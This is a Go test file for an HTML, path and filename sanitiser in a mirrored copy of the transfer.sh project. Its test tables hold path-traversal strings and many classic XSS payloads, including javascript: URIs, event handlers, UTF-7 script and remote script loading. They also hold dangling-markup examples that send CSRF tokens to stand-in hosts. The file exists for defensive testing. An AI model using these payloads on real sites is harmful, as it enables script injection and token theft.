mirror of
https://github.com/dutchcoders/transfer.sh.git
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cb6e5cb0c7
* use dep for vendoring * lets encrypt * moved web to transfer.sh-web repo * single command install * added first tests
233 lines
11 KiB
Go
233 lines
11 KiB
Go
// Utility functions for working with text
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package sanitize
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import (
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"testing"
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)
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var Format = "\ninput: %q\nexpected: %q\noutput: %q"
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type Test struct {
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input string
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expected string
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}
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// NB the treatment of accents - they are removed and replaced with ascii transliterations
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var urls = []Test{
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{"ReAd ME.md", `read-me.md`},
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{"E88E08A7-279C-4CC1-8B90-86DE0D7044_3C.html", `e88e08a7-279c-4cc1-8b90-86de0d7044-3c.html`},
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{"/user/test/I am a long url's_-?ASDF@£$%£%^testé.html", `/user/test/i-am-a-long-urls-asdfteste.html`},
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{"/../../4-icon.jpg", `/4-icon.jpg`},
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{"/Images_dir/../4-icon.jpg", `/images-dir/4-icon.jpg`},
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{"../4 icon.*", `/4-icon.`},
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{"Spac ey/Nôm/test før url", `spac-ey/nom/test-foer-url`},
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{"../*", `/`},
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}
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func TestPath(t *testing.T) {
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for _, test := range urls {
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output := Path(test.input)
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if output != test.expected {
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t.Fatalf(Format, test.input, test.expected, output)
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}
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}
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}
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func BenchmarkPath(b *testing.B) {
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for i := 0; i < b.N; i++ {
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for _, test := range urls {
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output := Path(test.input)
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if output != test.expected {
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b.Fatalf(Format, test.input, test.expected, output)
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}
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}
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}
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}
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var fileNames = []Test{
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{"ReAd ME.md", `read-me.md`},
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{"/var/etc/jobs/go/go/src/pkg/foo/bar.go", `bar.go`},
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{"I am a long url's_-?ASDF@£$%£%^é.html", `i-am-a-long-urls-asdfe.html`},
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{"/../../4-icon.jpg", `4-icon.jpg`},
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{"/Images/../4-icon.jpg", `4-icon.jpg`},
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{"../4 icon.jpg", `4-icon.jpg`},
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{"../4 icon-testé *8%^\"'\".jpg ", `4-icon-teste-8.jpg`},
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}
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func TestName(t *testing.T) {
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for _, test := range fileNames {
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output := Name(test.input)
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if output != test.expected {
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t.Fatalf(Format, test.input, test.expected, output)
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}
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}
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}
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func BenchmarkName(b *testing.B) {
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for i := 0; i < b.N; i++ {
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for _, test := range fileNames {
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output := Name(test.input)
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if output != test.expected {
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b.Fatalf(Format, test.input, test.expected, output)
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}
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}
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}
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}
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var baseFileNames = []Test{
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{"The power & the Glory jpg file. The end", `The-power-the-Glory-jpg-file-The-end`},
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{"/../../4-iCoN.jpg", `-4-iCoN-jpg`},
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{"And/Or", `And-Or`},
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{"Sonic.EXE", `Sonic-EXE`},
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{"012: #Fetch for Defaults", `012-Fetch-for-Defaults`},
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}
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func TestBaseName(t *testing.T) {
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for _, test := range baseFileNames {
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output := BaseName(test.input)
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if output != test.expected {
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t.Fatalf(Format, test.input, test.expected, output)
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}
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}
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}
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// Test with some malformed or malicious html
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// NB because we remove all tokens after a < until the next >
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// and do not attempt to parse, we should be safe from invalid html,
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// but will sometimes completely empty the string if we have invalid input
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// Note we sometimes use " in order to keep things on one line and use the ` character
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var htmlTests = []Test{
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{` `, " "},
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{`&#x000D;`, `&#x000D;`},
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{`<invalid attr="invalid"<,<p><p><p><p><p>`, ``},
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{"<b><p>Bold </b> Not bold</p>\nAlso not bold.", "Bold Not bold\nAlso not bold."},
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{`FOO
ZOO`, "FOO\rZOO"},
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{`<script><!--<script </s`, ``},
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{`<a href="/" alt="Fab.com | Aqua Paper Map 22"" title="Fab.com | Aqua Paper Map 22" - fab.com">test</a>`, `test`},
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{`<p</p>?> or <p id=0</p> or <<</>><ASDF><@$!@£M<<>>>>>>>>>>>>>><>***************aaaaaaaaaaaaaaaaaaaaaaaaaa>`, ` or ***************aaaaaaaaaaaaaaaaaaaaaaaaaa`},
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{`<p>Some text</p><frameset src="testing.html"></frameset>`, "Some text\n"},
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{`Something<br/>Some more`, "Something\nSome more"},
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{`<a href="http://www.example.com"?>This is a 'test' of <b>bold</b> & <i>italic</i></a> <br/> invalid markup.<//data>><alert><script CDATA[:Asdfjk2354115nkjafdgs]>. <div src=">">><><img src="">`, "This is a 'test' of bold & italic \n invalid markup.. \""},
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{`<![CDATA[<sender>John Smith</sender>]]>`, `John Smith]]`},
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{`<!-- <script src='blah.js' data-rel='fsd'> --> This is text`, ` -- This is text`},
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{`<style>body{background-image:url(http://www.google.com/intl/en/images/logo.gif);}</style>`, `body{background-image:url(http://www.google.com/intl/en/images/logo.gif);}`},
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{`<iframe src="" attr="">>>>>>`, `<iframe src="" attr="">`},
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{`<IMG """><SCRIPT>alert("XSS")</SCRIPT>">`, `alert("XSS")"`},
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{`<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`, ``},
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{`<IMG SRC=JaVaScRiPt:alert('XSS')>`, ``},
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{`<IMG SRC="javascript:alert('XSS')" <test`, ``},
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{`<a href="javascript:alert('XSS')" src="javascript:alert('XSS')" onclick="javascript:alert('XSS')"></a>`, ``},
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{`> & test <`, `> & test <`},
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{`<img></IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`, ``},
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{`“hello” it’s for ‘real’`, `"hello" it's for 'real'`},
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{`<IMG SRC=javascript:a&
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#0000108ert('XSS')>`, ``},
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{`'';!--"<XSS>=&{()}`, `'';!--"=&{()}`},
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{"LINE 1<br />\nLINE 2", "LINE 1\nLINE 2"},
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// Examples from https://githubengineering.com/githubs-post-csp-journey/
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{`<img src='https://example.com/log_csrf?html=`, ``},
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{`<img src='https://example.com/log_csrf?html=
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<form action="https://example.com/account/public_keys/19023812091023">
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...
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<input type="hidden" name="csrf_token" value="some_csrf_token_value">
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</form>`, `...`},
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{`<img src='https://example.com?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
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<p>secret</p>`, `secret
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`},
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{`<form action="https://some-evil-site.com"><button>Click</button><textarea name='
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<!-- </textarea> --><!-- '" -->
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<form action="/logout">
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<input name="authenticity_token" type="hidden" value="secret1">
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</form>`, `Click -- `},
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}
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func TestHTML(t *testing.T) {
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for _, test := range htmlTests {
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output := HTML(test.input)
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if output != test.expected {
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t.Fatalf(Format, test.input, test.expected, output)
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}
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}
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}
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var htmlTestsAllowing = []Test{
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{`<IMG SRC="jav
ascript:alert('XSS');">`, `<img>`},
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{`<i>hello world</i href="javascript:alert('hello world')">`, `<i>hello world</i>`},
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{`hello<br ><br / ><hr /><hr >rulers`, `hello<br><br><hr/><hr>rulers`},
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{`<span class="testing" id="testid" name="testname" style="font-color:red;text-size:gigantic;"><p>Span</p></span>`, `<span class="testing" id="testid" name="testname"><p>Span</p></span>`},
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{`<div class="divclass">Div</div><h4><h3>test</h4>invalid</h3><p>test</p>`, `<div class="divclass">Div</div><h4><h3>test</h4>invalid</h3><p>test</p>`},
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{`<p>Some text</p><exotic><iframe>test</iframe><frameset src="testing.html"></frameset>`, `<p>Some text</p>`},
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{`<b>hello world</b>`, `<b>hello world</b>`},
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{`text<p>inside<p onclick='alert()'/>too`, `text<p>inside<p/>too`},
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{`&#x000D;`, `&#x000D;`},
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{`<invalid attr="invalid"<,<p><p><p><p><p>`, `<p><p><p><p>`},
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{"<b><p>Bold </b> Not bold</p>\nAlso not bold.", "<b><p>Bold </b> Not bold</p>\nAlso not bold."},
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{"`FOO
ZOO", "`FOO ZOO"},
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{`<script><!--<script </s`, ``},
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{`<a href="/" alt="Fab.com | Aqua Paper Map 22"" title="Fab.com | Aqua Paper Map 22" - fab.com">test</a>`, `<a href="/" alt="Fab.com | Aqua Paper Map 22" title="Fab.com | Aqua Paper Map 22">test</a>`},
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{"<p</p>?> or <p id=0</p> or <<</>><ASDF><@$!@£M<<>>>>>>>>>>>>>><>***************aaaaaaaaaaaaaaaaaaaaaaaaaa>", "?> or <p id=\"0</p\"> or <<><@$!@£M<<>>>>>>>>>>>>>><>***************aaaaaaaaaaaaaaaaaaaaaaaaaa>"},
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{`<p>Some text</p><exotic><iframe><frameset src="testing.html"></frameset>`, `<p>Some text</p>`},
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{"Something<br/>Some more", `Something<br/>Some more`},
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{`<a href="http://www.example.com"?>This is a 'test' of <b>bold</b> & <i>italic</i></a> <br/> invalid markup.</data><alert><script CDATA[:Asdfjk2354115nkjafdgs]>. <div src=">escape;inside script tag"><img src="">`, `<a href="http://www.example.com">This is a 'test' of <b>bold</b> & <i>italic</i></a> <br/> invalid markup.`},
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{"<sender ignore=me>John Smith</sender>", `John Smith`},
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{"<!-- <script src='blah.js' data-rel='fsd'> --> This is text", ` This is text`},
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{"<style>body{background-image:url(http://www.google.com/intl/en/images/logo.gif);}</style>", ``},
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{`<iframe src="" attr="">`, `<iframe src="" attr="">`},
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{`<IMG """><SCRIPT>alert("XSS")</SCRIPT>">`, `<img>">`},
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{`<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`, `<img>`},
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{`<IMG SRC=JaVaScRiPt:alert('XSS')>`, ``},
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{`<IMG SRC="javascript:alert('XSS')">>> <test`, `<img>>> `},
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{`> & test <`, `> & test <`},
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{`<img></IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`, `<img></img>`},
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{`<img src="data:text/javascript;alert('alert');">`, `<img>`},
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{`<iframe src=http://... <`, ``},
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{`<iframe src="data:CSS"><img><a><</a>;sdf<iframe>`, ``},
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{`<img src=javascript:alert(document.cookie)>`, `<img>`},
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{`<?php echo('hello world')>`, ``},
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{`Hello <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>World`, `Hello <a class="XSS"></a>World`},
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{`<a href="javascript:alert('XSS1')" onmouseover="alert('XSS2')">XSS<a>`, `<a>XSS<a>`},
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{`<a href="http://www.google.com/"><img src="https://ssl.gstatic.com/accounts/ui/logo_2x.png"/></a>`,
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`<a href="http://www.google.com/"><img src="https://ssl.gstatic.com/accounts/ui/logo_2x.png"/></a>`},
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{`<a href="javascript:alert('XSS1')" "document.write('<HTML> Tags and markup');">XSS<a>`, `<a> Tags and markup');">XSS<a>`},
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{`<a <script>document.write("UNTRUSTED INPUT: " + document.location.hash);<script/> >`, `<a>document.write("UNTRUSTED INPUT: " + document.location.hash); >`},
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{`<a href="#anchor">foo</a>`, `<a href="#anchor">foo</a>`},
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{`<IMG SRC=javascript:alert('XSS')>`, `<img>`},
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{`<IMG SRC="jav ascript:alert('XSS');">`, `<img>`},
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{`<IMG SRC="jav	ascript:alert('XSS');">`, `<img>`},
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{`<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`, ` +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`},
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{`<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>`, `PT SRC="http://ha.ckers.org/xss.js">`},
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{`<a href="javascript:alert('XSS')" src="javascript:alert('XSS')" onclick="javascript:alert('XSS')"></a>`, `<a></a>`},
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{`'';!--"<XSS>=&{()}`, `'';!--"=&{()}`},
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{`<IMG SRC=javascript:alert('XSS')`, ``},
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{`<IMG """><SCRIPT>alert("XSS")</SCRIPT>">`, `<img>">`},
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{`<IMG SRC=javascript:a&
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#0000108ert('XSS')>`, `<img>`},
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}
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func TestHTMLAllowed(t *testing.T) {
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for _, test := range htmlTestsAllowing {
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output, err := HTMLAllowing(test.input)
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if err != nil {
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t.Fatalf(Format, test.input, test.expected, output, err)
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}
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if output != test.expected {
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t.Fatalf(Format, test.input, test.expected, output)
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}
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}
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}
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func BenchmarkHTMLAllowed(b *testing.B) {
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for i := 0; i < b.N; i++ {
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for _, test := range htmlTestsAllowing {
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output, err := HTMLAllowing(test.input)
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if err != nil {
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b.Fatalf(Format, test.input, test.expected, output, err)
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}
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if output != test.expected {
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b.Fatalf(Format, test.input, test.expected, output)
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}
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}
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}
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}
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